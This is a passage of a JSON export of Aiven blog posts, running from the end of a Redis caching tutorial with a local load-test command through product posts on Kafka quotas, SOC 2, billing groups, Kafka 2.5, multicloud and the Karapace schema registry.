will!\n\nMy tool of choice is [Bombardier](https://github.com/codesenberg/bombardier/releases) for this kind of thing. It is built with `Go` but you can grab the [binary](https://github.com/codesenberg/bombardier/releases) if you don't want yet another language on your machine.\n\n`bombardier -c 200 -d 10s -l localhost:6666/cache-in-hand`\n\nThis runs our benchmark over 10 seconds with 200 connections; the `-l` flag gives us more detail about the latency with a latency distribution. Let's see what happens when I run this on my machine:\n\n### Uncached - `/go-for-broke`\n\n![Uncached bombardier results](//cdn.sanity.io/images/sczeoy4w/production/a2db482fa962cf48f522748bc771453501a93b3e-1442x896.png)\n\nLocally, my node server is able to handle around 300 requests per second comfortably, but still responds with 2284. For our needs, though, the latency distribution is most important. We see an average of **622ms** and \n\n### Cached - `/cache-in-hand`\n\n![Cached bombardier results](//cdn.sanity.io/images/sczeoy4w/production/5e527828645e8b414de8ddb8bda9507011ccb710-1442x896.png)\n\nWhoa, a pretty big difference, right? Adding Redis as a cache not only reduces the latency by a factor of **~13.8** but it also allows the **fourteen** times the number of requests per second.\n\n### Things to consider\n\n* This is being run locally on your machine which (likely) has a number of other services running\n* There are many configuration options we can make to Node for it to perform better\n * using NODE_ENV=production (although this benefit is debatable when we are just responding with JSON)\n * using a load balancer and/or a reverse proxy\n * Using compression, such as `gzip` (although this will also make a minimal difference in this case due to the size of the response)\n\n## Step 7. Moving forward\n\nWrapping this Redis check in each of your requests may be fine for a small project but, when you scale up to a few dozen routes, you will quickly want a different solution. The middleware support in Express is amazing and there are a number of caching middlewares that support Redis in [npm](https://www.npmjs.com/search?q=redis%20express). \n\nThe sample code can be found in our [Examples Repository](https://github.com/aiven/aiven-examples/) along with a number of other code samples for the services we offer. If you run into any issues, you can always reach out to our Support team and check out our help articles [here](https://help.aiven.io).","categories":[{"_key":"3SF1hzDKGSWII7ZpbyTg8M","_ref":"3SF1hzDKGSWII7ZpbyTg8M","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-50876db793cfd8aeb1c5180160d793a686328651-1567x844-png","_type":"reference"}},"publishedAt":"2020-05-15T00:00:00.000Z","seo":{"metaDescription":"A quick mention of Redis and its use cases, with a tutorial to using Redis to cache data when using Node.js","metaImage":{"alt":"","asset":{"_ref":"image-50876db793cfd8aeb1c5180160d793a686328651-1567x844-png","_type":"reference"}},"metaTitle":"Caching with Aiven for Redis® and Express.js"},"slug":{"_type":"slug","current":"/blog/caching-with-nodejs-express-and-redis"},"subtitle":"A quick mention of Redis and its use cases, with a tutorial to using Redis to cache data when using Node.js","title":"Caching with Aiven for Redis® and Express.js"} {"__i18n_lang":"en","_createdAt":"2023-07-04T11:00:51Z","_id":"48489b60-d438-4bb5-abd0-9950d2078514","_rev":"E2EqFgH2t2FE0P1F1sZ4cX","_type":"post","_updatedAt":"2024-02-27T15:29:12Z","authors":[{"_key":"51a6c595930b","_ref":"055b2496-c6da-421a-b3da-8c25cdc90fc0","_type":"reference"},{"_key":"d75a1f15fcbc","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"[Aiven for Apache Kafka](https://aiven.io/kafka)® helps customers leverage the power and scalability of Apache Kafka® for their streaming data needs without worrying about the underlying infrastructure and the management overhead. In a production-grade Kafka environment, multiple teams often share the cluster resources by having dedicated topics where data is produced, consumed, enriched, and transformed.\n\nWhile shared Kafka clusters come with many benefits to the organization, like greater performance stability and ease of operations for the Kafka environment, they can pose certain governance and standardization challenges for the platform teams running them. When multiple teams use a cluster, you can have the \"noisy neighbor problem\" where particular applications could overuse it, therefore negatively impacting the performance of other topics. To avoid such situations, data platform teams and engineering managers leverage [Quotas in Apache Kafka](https://kafka.apache.org/documentation/#design_quotas) as a way of controlling the used resources by client applications within a given cluster.\n\nToday we are excited to announce that Kafka quotas are available in Aiven for Apache Kafka giving Aiven customers the ability to define, update, or verify the resources used by every application directly from the Aiven console or Aiven’s API and CLI. In the following paragraphs, we introduce what quotas in Apache Kafka are, their benefits for shared Kafka setups, and the supported quota types you can now leverage in the Aiven platform. Read on for more details!\n\n## A Short Explanation of Kafka Quotas\n\nQuotas in Apache Kafka provide a mechanism for managing and limiting the number of broker resources Kafka clients use. By defining Kafka quotas, administrators of Apache Kafka can set defaults and supervise how the resources of a given cluster are being utilized by different producing or consuming applications. When a producing/consuming application is meeting its quota limits, the cluster will slow down the related ingestion/production of events keeping the stability performance in the cluster. Kafka quotas are ideal for shared Kafka clusters where different teams, applications, or use cases consume and produce events to the same Kafka cluster resources. In such scenarios, having control of the resources each application can use in the cluster will ensure that the performance of the cluster remains consistent and there are no potential degradations.\n\n\n### Why are Quotas in Kafka Necessary\n\nFor production-grade workloads, there are two main deployment options. Firstly, Kafka administrations can define application groupings, usage scenarios, and compliance requirements and based on those deploy **dedicated, single-purpose Kafka clusters** to satisfy their application-specific needs. Alternatively, Kafka users can deploy a **shared, multi-purpose Kafka cluster** for the entire organization and give access to streaming data from this main Kafka cluster to multiple applications and use cases for their internal application teams.\n\nWhatever your deployment choice, it's rare to have an isolated Kafka cluster dedicated to a single application. In most cases, the cluster represents the backend of multiple data flows and use cases. It is therefore likely that different applications will have different usage patterns, with variable data traffic and fluctuating performance impacting not only the application in use but also all the other use clients sharing the same cluster resources. \n\nQuotas in Apache Kafka prevent such situations by enforcing pre-defined usage limits of the cluster resources that can prevent performance degradation or a complete cluster outage. For example, an IoT provider that uses sensor data from traffic lights around the city of London might have heavier traffic volumes in the daytime and lower traffic volumes overnight (since most buses and the London Underground stop at around midnight). Instead of allowing all applications to read/write to the Kafka cluster throughout the day, less time-critical applications could be writing data to the topic at a lower volume during the day to prevent any cluster degradation or outage.\n\nQuotas in Apache Kafka create resource boundaries between use cases and applications and provide a security method ensuring all those use cases have adequate resources to operate efficiently by allowing Kafka administrators to configure the producing/consuming traffic for each client application per Kafka broker in a cluster. According to the allocated resources, Kafka brokers will throttle the client applications’ requests avoiding potential resource saturation and outages in the cluster due to a small number of misbehaving clients that would otherwise be degrading the performance of the entire setup. Kafka quotas are thus an essential component in keeping sanity and governing Kafka operations, especially for shared, production-grade Kafka workloads where multiple teams are accessing, producing, or consuming streaming data from a centralized Kafka instance.\n\n## Key Benefits of Quotas in Apache Kafka\n\nUsing quotas in Apache Kafka comes with multiple benefits for the organization and enables more use cases for enterprise Kafka users. Some of these benefits include: \n\n1. **More accurate operations and governance for your Kafka environment**\n\n The more the usage of Apache Kafka grows in an organization, the more likely operating the tens (or hundreds) of Kafka clusters becomes a bottleneck in further leveraging real-time data. This is where data governance for Apache Kafka using technologies like [Klaw](https://www.klaw-project.io/) or [Conduktor](https://www.conduktor.io), helps with improving Apache Kafka governance across the organization. Additionally, efficiently managing the schema of your data becomes a must-have in your Kafka setup. \n\n Leveraging quotas in Apache Kafka allows data platform teams and operators of Apache Kafka to better control the users who use the Kafka cluster, what they have access to (in terms of Kafka topics and ACLs), and how much resource consumption they are allowed (quota limits).\n\n2. **Greater cost optimization of your Kafka resources**\n\n Due to the varying throughput in the streaming world, specifically in multi-purpose scenarios, resource usage is complex to forecast. Therefore in the vast majority of cases, there's an overprovisioning of resources to give extra room for application teams to successfully deliver their end goals. Since Kafka quotas can be adjusted as and when needed, data platform teams can revise the priority of the workloads when necessary. So data platform teams can set higher limits during peak times and release them to other applications when not needed. \n\n Quotas in Kafka help further improve the performance stability of the Kafka cluster while at the same time optimizing fixed costs by sharing a single Kafka instance across use cases and by spreading the associated expenditure across teams in an organization. Especially in times when companies are trying to cut down on cloud infrastructure costs and use [cost optimization strategies](https://aiven.io/blog/optimizing-cloud-infrastructure-costs), having the ability to use your Kafka resources efficiently becomes a key not only for data platform teams but for FinOps and technology executives too.\n\n3. **Minimization of data and schema duplication**\n\n One of the biggest obstacles to adopting multi-purpose Apache Kafka clusters in tech organizations these days is performance predictability. Stakeholders need more than data streaming from producers to consumers; they frequently have specific thresholds when it comes to the performance of the cluster itself. Quotas in Apache Kafka provide a mechanism to ensure customized resource limits per application that enhances the overall performance predictability of the Kafka cluster. \n\n Most of the use cases that were handled in dedicated single-purpose Kafka clusters before, can now be equally managed in a shared multi-purpose cluster, providing the additional benefit of data and schema consolidation. \n\n Configuring quotas in Apache Kafka minimizes time spent by data platform teams in figuring out new data schemas for the different Kafka topics. This significantly reduces time spent on duplicating schemas across clusters while speeding up teams with value creation and accelerating their time-to-market.\n\n![Key benefits of quotas in Apache Kafka: more accurate operations and governance for your Kafka environment, Greater cost optimization of your Kafka resources, Minimization of date and schema duplication](https://cdn.sanity.io/images/sczeoy4w/production/2b3af31a096e6bc5e3d703b8b44b386ef022dab6-1816x1016.png?w=450)\n\n## Supported quota types in Aiven for Apache Kafka\n\nAiven for Apache Kafka now comes with different quotas to help you manage resources effectively. These quotas offer greater flexibility in how you manage network bandwidth and CPU usage:\n\n- **Consumer throttle (Network bandwidth quota)**: This quota allows you to limit the amount of data a consumer can retrieve from the Kafka cluster per second. Setting a maximum network throughput prevents any single consumer from using excessive network bandwidth.\n\n- **Producer throttle (Network bandwidth quota)**: Similar to the consumer throttle, this quota limits the amount of data a producer can send to the Kafka cluster per second. It ensures that producers do not overload the system by sending excessive data, thereby maintaining system stability.\n\n- **CPU throttle**: This quota is about managing CPU usage. You can manage CPU usage by setting a percentage of the total CPU time. Limiting the CPU resources for specific client IDs or users prevents any individual from monopolizing CPU resources, promoting fairness and efficient resource utilization.\n\nFor more information on Client IDs and users in Quotas as well as Quotas enforcement, you can check the relevant [documentation](https://aiven.io/docs/products/kafka/concepts/kafka-quotas).\n\n\n## Getting Started\n\nYou can easily add and manage quotas for your Aiven for Apache Kafka® service directly in the [Aiven Console](https://console.aiven.io/) or by using the [Aiven API](https://api.aiven.io/doc/). For a detailed description of how to add, set or modify quotas in your Aiven for Apache Kafka instance, please follow the steps in our [documentation](https://aiven.io/docs/products/kafka/howto/manage-quotas).\n\nNot an Aiven customer yet? You can [schedule a demo](https://aiven.io/book-demo) and explore Aiven for Apache Kafka firsthand or start your free 30-day [here](https://aiven.io/how-to-get-started-with-aiven)!\n\n## Further reading\n\n- [Kafka users and access control](https://aiven.io/blog/kafka-users-and-access-control)\n\n- [What is Apache Kafka®?](https://aiven.io/blog/what-is-apache-kafka)\n","categories":[{"_key":"53178102f9c1","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Aiven for Apache Kafka, Kafka, Apache Kafka, Kafka Quotas, Quotas in Apache Kafka, Introduction to Quotas in Kafka, Kafka managed service, fully managed Kafka ","asset":{"_ref":"image-0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce-1567x844-png","_type":"reference"}},"publishedAt":"2023-07-11T09:35:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka® brings Kafka quotas to help organizations control the resources client applications can use in a Kafka cluster.","metaImage":{"_type":"mainImage","alt":"Aiven for Apache Kafka, Kafka, Apache Kafka, Kafka Quotas, Quotas in Apache Kafka, Introduction to Quotas in Kafka, Kafka managed service, fully managed Kafka ","asset":{"_ref":"image-0c3a2662d5d5253e1fb5c6dcf5d2bbe833cb68ce-1567x844-png","_type":"reference"}},"metaTitle":"Introducing Kafka Quotas in Aiven for Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/introducing-kafka-quotas-in-aiven-for-apache-kafka"},"subtitle":"Aiven for Apache Kafka® brings Kafka quotas to help organizations control the resources client applications can use in a Kafka cluster.","title":"Introducing Kafka Quotas in Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4C5UIf1wmPv4LWxJjF8Doh","_rev":"2TBrbODd4ENN9GFOVKso0T","_type":"post","_updatedAt":"2023-06-14T10:08:11Z","authors":[{"_key":"CwYvBlc0mZRbFtiATviQl","_ref":"CwYvBlc0mZRbFtiATviQl","_type":"reference"}],"body":"We’ll keep this short: __Aiven has embarked on the SOC 2 compliance journey.__ To that end, Aiven has enlisted the services of one of the top 3 consulting companies in the world to help with the process and we expect to be SOC 2 compliant within the next few months.\n\nOur current list of compliance standards can be found on our [compliance page](/security-compliance). The fact that we are already ISO 27001 compliant makes us much better prepared for the challenges of SOC 2 compliance.\n\nAiven has stringent Information Security Management Systems (ISMS) policies and procedures in place to deal with such compliance standards and therefore expects the SOC 2 compliance process to go fairly smoothly and quickly.\n\n\u003e Please check back with us for updates on Aiven's SOC 2 compliance status.\n\nNot a customer? [Try Aiven services with our free 30 day trial](https://console.aiven.io/signup). And don’t forget to join our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds, as well as [Twitter](https://twitter.com/aiven_io) and [LinkedIn](https://www.linkedin.com/company/aiven/) to get the latest news.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"2mBcgNf20QQ0rW0XtSjzVs","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-a90c401ee8046c75bbe29b91dc036459d7ac0922-752x405-png","_type":"reference"}},"publishedAt":"2019-05-08T00:00:00.000Z","seo":{"metaDescription":"Aiven Blog: In 2019, Aiven's road to being SOC 2 compliant | Learn more about the standard and find out what else we're compliant with. ","metaImage":{"alt":"","asset":{"_ref":"image-a90c401ee8046c75bbe29b91dc036459d7ac0922-752x405-png","_type":"reference"}},"metaTitle":"Aiven preparing for SOC 2 compliance"},"slug":{"_type":"slug","current":"/blog/aiven-preparing-for-soc-2-compliance"},"subtitle":"Aiven Blog: In 2019, Aiven's road to being SOC 2 compliant | Learn more about the standard and find out what else we're compliant with. ","title":"Aiven preparing for SOC 2 compliance"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4KDZ3wG3VN6fg9HvDiZlZ7","_rev":"2TBrbODd4ENN9GFOVLnjUD","_type":"post","_updatedAt":"2023-08-03T10:37:04Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Starting with [Teams](https://aiven.io/blog/managing-projects-just-got-easier-in-aiven \"Link to Aiven blog post about Teams\") in June, we announced that we were building console features that would make account management a lot easier for large organizations. Teams was aimed at streamlining user management, and now we add a feature that makes invoicing easier: Billing Groups.\n\nCombined, Teams and Billing Groups do for admin work what the Aiven platform does for cloud infrastructure: they make management efficient and truly scalable. In this post, we’ll discuss what problems the Billing Groups feature solves.\n## Why billing groups?\nBefore the Billing Groups feature, you would set up your billing by associating a payment card with a given project. While suitable for smaller environments, it doesn’t really scale. If your company had multiple projects running at Aiven, you had to provide the billing information separately for each project, and eventually you paid a bunch of separate invoices. With Billing Groups, you just provide the billing information once.\n\nNow you can easily combine the costs of projects associated with an account. This gives you one single invoice to pay and makes it easy to see your total service cost. Or, if you prefer, you can set up multiple billing groups to meaningfully track costs in a more granular way. This way you can get separate yet consolidated invoices for your development, staging and production environments.\n\nIn the setup phase, it also means less work when providing payment information for multiple projects. You can even define a primary billing group for an account, so that whenever you start a new project, it belongs to that billing group by default. And if you need to set up many billing groups, you can copy billing data from existing groups to make it even handier.\n\nThe new updated Invoice API now allows you to view project costs broken up into line items. You can conveniently export them to your BI tool for tracking and visualizing spending information.\n\nFor a full list of these enhancements that simplify your life, read our [help article](https://app.intercom.com/a/apps/reo7593q/articles/articles/4634847/show \"Link to help article in Intercom\"). It also tells you how to get started with Billing Groups for your organization.\n\n## Wrapping up\nThe Billing Groups account management features make administering the environments often associated with larger organizations a lot easier, rendering Aiven even more suitable for enterprise-level workloads. \n\nP.S. You may be wondering what’s next. Here’s a hint: it has to do with how you manage your customized [support contracts](https://help.aiven.io/en/articles/868101-aiven-support-details \"Link to Aiven support details\") with us. Keep checking our blog!\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-803752d6c96a92fcdc42936d676f1f62e2b7a368-1567x844-png","_type":"reference"}},"publishedAt":"2020-12-28T00:00:00.000Z","seo":{"metaDescription":"Read how organizations can now set up centralized invoicing at Aiven, making cost monitoring easy and payments simple.","metaImage":{"alt":"","asset":{"_ref":"image-803752d6c96a92fcdc42936d676f1f62e2b7a368-1567x844-png","_type":"reference"}},"metaTitle":"Better cost management with billing groups"},"slug":{"_type":"slug","current":"/blog/better-cost-management-with-billing-groups"},"subtitle":"Read how organizations can now set up centralized invoicing at Aiven, making cost monitoring easy and payments simple.","title":"Better cost management with billing groups"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"4VL1OL0vJqW13kF2gRM0Rc","_rev":"lhvtNBOlLYH5KiQFQ8YLJH","_type":"post","_updatedAt":"2024-01-29T15:37:56Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven now supports Apache Kafka version 2.5, allowing you to launch a managed Kafka service on any of our supported clouds and their regions, including AWS, GCP, and Microsoft Azure. Aiven is among the first cloud services to provide [Apache Kafka 2.5 as a fully managed service](/kafka).\n\n## Enhancements and improvements\n\nThis release takes further steps to deprecate ZooKeeper and improve support for Kafka’s administrative API which will replace ZooKeeper access in admin tools. There are also features to support _exactly once semantics (EOS)_, which provide transactional message-processing guarantees. Let’s look at some of these improvements in more detail:\n\n### Removal of dependencies on Apache ZooKeeper\n\n- [KIP-500](https://cwiki.apache.org/confluence/display/KAFKA/KIP-500%3A+Replace+ZooKeeper+with+a+Self-Managed+Metadata+Quorum) replaces ZooKeeper with a self-managed metadata quorum, and implements the following fixes in Apache Kafka 2.5:\n - [KIP-555](https://cwiki.apache.org/confluence/display/KAFKA/KIP-555%3A+Deprecate+Direct+Zookeeper+access+in+Kafka+Administrative+Tools) - deprecates direct ZooKeeper access in Kafka administrative tools\n - [KIP-543](https://cwiki.apache.org/confluence/display/KAFKA/KIP-543%3A+Expand+ConfigCommand%27s+non-ZK+functionality) - expands ```ConfigCommand```’s non-ZooKeeper functionality, so that instead of relying on direct ZooKeeper access, [it can now issue administrative](/) calls instead via a broker using ```KafkaAdminClient```.\n\n### Improvements to exactly once semantics\n\n- [KIP-447](https://cwiki.apache.org/confluence/display/KAFKA/KIP-447%3A+Producer+scalability+for+exactly+once+semantics) - implements and improves producer scalability for exactly once semantics (EOS).\n\n\n- [KIP-360](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=89068820) - improves reliability of producer by addressing a problem with producer state retention.\n\nThere are also a number of metrics and operational enhancements along with improvements to Kafka Connect and Kafka Streams. For the complete picture, [see this post](https://blogs.apache.org/kafka/entry/what-s-new-in-apache2).\n\n## How to get Aiven for Apache Kafka 2.5\n\nWhen creating your Kafka service from Aiven console, simply select ‘2.5’ in the drop-down menu from the Kafka service box. You can also create a Kafka 2.5 service by using the appropriate switch from the Aiven [REST API](https://aiven.io/docs/tools/api), the [command line](https://aiven.io/blog/command-line-magic-with-the-aiven-cli) interface, or your [Terraform tooling](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration).\n\n## Wrapping up\nWith Kafka 2.5, you’ll get enhancements for scalability, metrics and security features, along with EOS improvements and much more. We’ll be continually adding the newest versions of all of our hosted services, so check out our [blog](/blog/feed.xml) and [changelog](/changelog/feed.xml) RSS feeds, or follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to follow the latest releases.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-22cd3bf165c44da3244890f08f23c1738a157219-1200x646-jpg","_type":"reference"}},"publishedAt":"2020-05-05T00:00:00.000Z","seo":{"metaDescription":"The latest edition of Apache Kafka, 2.5, is now available on Aiven as a managed service. Find out what they are and how to get it.","metaImage":{"alt":"","asset":{"_ref":"image-22cd3bf165c44da3244890f08f23c1738a157219-1200x646-jpg","_type":"reference"}},"metaTitle":"Apache Kafka® 2.5 now available on Aiven"},"slug":{"_type":"slug","current":"/blog/apache-kafka-2-5-available-on-aiven"},"subtitle":"The latest edition of Apache Kafka, 2.5, is now available on Aiven as a managed service. Find out what they are and how to get it.","title":"Apache Kafka® 2.5 now available on Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4YXUQMGtng5hcyF4B5K0cR","_rev":"V5UdSzFEWrLT7ZlMFNlRAB","_type":"post","_updatedAt":"2023-06-21T08:29:32Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"## What is multicloud?\nMulticloud is, honestly, the future. It refers to setting up your data architecture so that you're not running all your services in one cloud and one region but spread them out across several cloud environments.\n\n[According to Gartner](https://www.gartner.com/en/conferences/apac/infrastructure-operations-cloud-india/featured-topics/cloud), 81% of public cloud users already use two or more cloud providers, and the trend is growing. If you're already using a multicloud approach, this won't surprise you at all. But if you're new to the world of the clouds, perhaps just leaving the comfy nest of corporate on-premises architecture, you might wonder why one cloud isn't enough.\n## The 4 big benefits of multicloud\nBuilding your data architecture on a multicloud basis has lots of benefits. In this section we'll take a closer look at some of them. (But here's the tl;dr: Select your cloud environment to match what you want to do with it, or risk ending up with a suboptimal architecture.)\n### 1. Get the best of all worlds\nDifferent clouds have different strengths. Built on different technologies, they each offer slightly different tools for building applications. They each support a unique set of features for product development as well as for the applications themselves.\n\nWith a multicloud approach you can also run workloads in environments with just the right performance profiles. In other words, select your environment on the basis of the type of loads you'll be running, instead of limiting yourself to what a single cloud can handle.\n\nClouds also differ in terms of security compliance and physical data location. This is especially important for regulated industries. True, a multicloud approach can also pose challenges in this area - but see the next section for some solutions.\n### 2. Unlimited power!\nIf you don't limit yourself to a single cloud provider, not only do you get access to a wider variety of tools and features, but also the option to enhance the performance of your overall development environment. By running multiple environments at once, you multiply also the bandwidth and storage performance.\n### 3. Freedom to roll\nUsing multiple clouds is the best way to eliminate vendor lock-in. By operating in many clouds, you ensure that you'll never become dependent on any one of them. You develop practices, and products, that work in many environments. This makes any future restructuring much easier.\n### 4. Backing it up\nDepending on how you set things up, you may have backups ready to go whenever one cloud provider's environment goes down. At the very least, operating in a multicloud setup gives you a near-instant capability to compensate for the loss.\n## 3 challenges - and 3 solutions\nThat's all well and good, but unfortunately life is seldom simple. Multicloud comes with its own set of challenges and insecurities. The thing is... not to go all sales-y and marketing-y here but... using a multicloud provider like Aiven helps with all of them!\n### 1. Managing complexity?\nManaging more than one cloud is hard work, and/or a good management system. You have to set up and configure the environments and then monitor them effectively. However, a multicloud provider will have a unified management system that can handle multiple clouds and projects - like the [Aiven Teams feature](https://aiven.io/blog/managing-projects-just-got-easier-in-aiven). With Aiven, it's also easy to deploy to and manage several cloud environments from the same UI.\n### 2. Security issues?\nPublic cloud is secure, we all know that (see for example [this blog post](https://aiven.io/blog/12-reasons-you-should-choose-a-public-cloud-service), reason '#5), but it's absolutely true that using multiple clouds means more work for the security team than just one cloud. You need a robust security strategy. However, with a multicloud provider, much of that complexity rests with them.\n### 3. Loss of bonuses?\nIf your multicloud strategy rests on surfing between clouds, then yes, you may lose out on loyalty bonuses like discounted rates or priority services. Then again, if you're eligible for [Aiven's Bring Your Own Account model](https://app.intercom.com/a/apps/reo7593q/articles/articles/2353018/show), it may be possible to keep your cake and eat it, too.\nBesides, if you go through a marketplace, Aiven services count towards your committed use, accumulating discounts themselves.\n## Wrapping up\nAiven is a multicloud service provider. We offer, out of the box, plans in five clouds (GCP, AWS, Azure, UpCloud and DigitalOcean) and about a hundred separate cloud regions. With us, you can take advantage of the best cloud and region combination.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.\n","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-6a39496e54ea2fe7a31dedc4d63359eeece08189-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-22T00:00:00.000Z","seo":{"metaDescription":"Is your cloud strategy already based on using multiple cloud environments and regions? Read about the benefits and challenges of multicloud. ","metaImage":{"alt":"","asset":{"_ref":"image-6a39496e54ea2fe7a31dedc4d63359eeece08189-1567x844-png","_type":"reference"}},"metaTitle":"Making the most of multicloud architecture"},"slug":{"_type":"slug","current":"/blog/getting-the-most-of-multi-cloud"},"subtitle":"Is your cloud strategy already based on using multiple cloud environments and regions? Read about the benefits and challenges of multicloud. ","title":"Making the most of multicloud architecture"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"4kZePZcGxjPJAFk0KUyhp2","_rev":"V5UdSzFEWrLT7ZlMFNlRFj","_type":"post","_updatedAt":"2023-06-22T14:00:26Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"[Karapace](https://karapace.io) is an open source HTTP API interface and schema registry for Apache Kafka®, the open source distributed event streaming platform.\n\nIt's an open source project, so you can find [Karapace on GitHub](https://github.com/aiven/karapace), under the Aiven organization. Adding Karapace to your Apache Kafka project gives additional functionality that can be very useful in event-driven or other data-centric applications.\n\n## Apache Kafka® and data schemas\n\nOne of the key features Karapace offers is the schema registry. So what is a schema registry? Let's recap on what a schema is and how we use one with Kafka.\n\nKafka is a very flexible and powerful tool, allowing users to add data of any format or structure to any topic. However, with great power comes great responsibility, and for many applications, flexibility in data structures is definitely not a feature. A schema is a way to describe the data format of a message payload. It will describe the fields, their data types, and default values if applicable.\n\nBecause Kafka doesn't have an opinion about the structure of your data, an additional tool called a *schema registry* is needed. The schema registry is a separate tool, so consumers and producers should be configured with the location of this additional endpoint. As the name implies, the desired schema can be registered with the schema registry.\n\n## Why use Karapace\n\nOnce the schema is registered, producers can validate their payload against the expected schema before producing the record on to the topic. For applications that use compression formats such as [Apache Avro](https://avro.apache.org/), the schema registry is essential. Producers register the schema they used to compress the message payload, and include the schema version number with the message. Consumers can pick up the message, check the version of the schema used, and consult the schema registry to understand the field ordering and other details.\n\nKarapace includes schema registry functionality with support for JSON Schema, Avro and Protobuf data formats. Using a schema registry allows all components of an application to share a common data structure definition. It is also to register multiple versions of a schema with the schema registry if the data format needs to evolve.\n\n## RESTful API endpoints for Apache Kafka\n\nAnother big feature available from Karapace is the addition of a RESTful HTTP API to an existing Apache Kafka installation. This extra integration adds the ability to work with Kafka over HTTP. This lets you\n\n- Work directly with data, producing and consuming messages.\n- Work with metadata, managing the topics, messages, and producer/consumer information over the API.\n\nThe additional interface makes it easier to add some extra tooling to interact with Kafka in a tech-agnostic way. You can see this in action on your [Aiven for Apache Kafka](https://aiven.io/kafka) service by browsing the data you find on the \"Topics\" tab in the Aiven Console. This functionality is provided to the web console by use of the REST API. If the Karapace HTTP API features aren't enabled for your Aiven for Apache Kafka service when you try to access these features, you see an error message.\n\n## Karapace is open source\n\nKarapace is a Python-based project, released and maintained by Aiven under the Apache 2.0 license. We are proud to be maintainers of Karapace, and we welcome issues, contributions and feature requests from others; some excellent features here were not built by us and we think that is a sign of a healthy open source project.\n\nWhether you use Karapace as part of your Aiven for Apache Kafka offering, or with another Apache Kafka solution, adding schema registry and HTTP API features to the basic Apache Kafka brings the tool to a whole new level. We would love to hear what you build with yours!\n\n## Further reading\n\n* Learn more about Karapace at [karapace.io](https://karapace.io).\n* Check out the [project repository](https://github.com/aiven/karapace) to find out how to install and use the tool locally, and connect to an existing Apache Kafka service.\n\n## Wrapping up\nWe've looked at the basics of using a schema registry with Apache Kafka, and what using Karapace can do to elevate your app.\n\nNext you could [sign up for an Aiven account](https://console.aiven.io/signup), start an Aiven for Apache Kafka service, and enable the REST and schema registry features there as a quick way to try out Karapace yourself.\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-30ef714d4ae155141642d581ba07e9c949452ccd-2500x1308-jpg","_type":"reference"}},"publishedAt":"2022-03-11T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Kafka® and Karapace together can bring your application to a whole new level. Find out more about the magic that is the schema registry!","metaImage":{"alt":"","asset":{"_ref":"image-30ef714d4ae155141642d581ba07e9c949452ccd-2500x1308-jpg","_type":"reference"}},"metaTitle":"What is Karapace? | Everything you need to know for 